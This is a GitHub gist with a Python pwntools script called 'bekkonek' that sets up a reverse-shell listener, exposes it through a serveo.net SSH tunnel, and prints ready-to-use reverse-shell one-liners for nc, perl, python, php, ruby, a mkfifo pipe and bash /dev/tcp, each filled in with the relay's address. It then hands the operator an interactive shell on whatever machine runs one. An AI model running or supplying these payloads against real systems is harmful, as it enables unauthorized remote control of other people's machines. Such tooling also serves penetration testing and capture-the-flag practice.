Last active
July 26, 2018 13:20
-
-
Save lc-at/e282966c99ce28002b235e905550af1b to your computer and use it in GitHub Desktop.
bekkonek: simple reverse shell spawner
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from pwn import * | |
import random | |
import time | |
import thread | |
from socket import gethostbyname | |
try: | |
import readline | |
except: | |
pass | |
def bekkonek_main(): | |
global listener | |
print("""\ | |
_________________ | |
< bekkonek@loncat > | |
----------------- Simple Reverse sHELL Spawner | |
\\ ^__^ https://github.com/p4kl0nc4t | |
\\ (oo)\\_______ | |
(__)\\ )\\/\\ | |
||----w | | |
|| || | |
""") | |
log.info("Welcome to bekkonek! preparing things") | |
prog = log.progress("Preparing your listener") | |
# sshc = ssh(host='serveo.net', user='x', password='x') | |
# listener = sshc.listen_remote() | |
port = random.randint(1024, 65535) | |
listener = listen(port) | |
serveo_prog = log.progress("Forwarding listener on port %d to serveo" % port) | |
try: | |
serveo = process(["ssh", "-ttR", "0:localhost:%d" % port, "serveo.net"]) | |
except: | |
log.failure("Can't run ssh :( is ssh exists?") | |
sys.exit(-1) | |
# Allocated port 43016 for remote forward to localhost:15076 | |
remote_host = "serveo.net" | |
remote_port = re.findall(r"Allocated port (.*) for remote", serveo.recvuntil("forward to"), re.M|re.I)[0] | |
if remote_port == "": | |
log.failure("Something went wrong with serveo :(") | |
sys.exit(-1) | |
remote_port = int(remote_port) | |
serveo_prog.success("Forwarded port is %d" % remote_port) | |
prog.success("Done") | |
log.info("Your listener is online at %s (%s) port %d" % (remote_host, gethostbyname(remote_host), remote_port)) | |
log.info("Use these commands to connect your target to your listener:") | |
log.indented("""\ | |
nc -c /bin/sh xxipxx xxportxx | |
perl -e 'use Socket;$i="xxipxx";$p=xxportxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' | |
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxipxx",xxportxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' | |
php -r '$sock=fsockopen("xxipxx",xxportxx);exec("/bin/sh -i <&3 >&3 2>&3");' | |
ruby -rsocket -e'f=TCPSocket.open("xxipxx",xxportxx).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' | |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxipxx xxportxx >/tmp/f | |
/bin/bash -i > /dev/tcp/xxipxx/xxportxx 0<&1 2>&1 | |
0<&196;exec 196<>/dev/tcp/xxipxx/xxportxx; sh <&196 >&196 2>&196\ | |
""".replace("xxipxx", gethostbyname(remote_host)).replace("xxhostxx", remote_host).replace("xxportxx", str(remote_port))) | |
listener = listener.wait_for_connection() | |
log.info("@@@@@@@@@@ bekkonek-shell @@@@@@@@@@") | |
def update_s(): | |
global listener | |
while 1: | |
try: | |
data = listener.recv() | |
sys.stdout.flush() | |
time.sleep(0.1) | |
sys.stdout.write(data) | |
except EOFError as e: | |
log.warning("Got EOF") | |
time.sleep(0.1) | |
thread.exit() | |
sys.exit() | |
break | |
thread.start_new_thread(update_s, ()) | |
while True: | |
try: | |
inp = raw_input().rstrip() | |
listener.sendline(inp) | |
# sys.stdout.write(listener.recv()) | |
except Exception as e: | |
log.failure(str(e)) | |
listener.close() | |
thread.exit() | |
if __name__ == "__main__": | |
try: | |
bekkonek_main() | |
except KeyboardInterrupt: | |
sys.stdout.write("\r") | |
log.failure("Exiting . . .") | |
time.sleep(0.1) | |
thread.exit() | |
sys.exit() | |
except Exception as e: | |
log.failure(str(e)) | |
time.sleep(0.1) | |
thread.exit() | |
sys.exit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment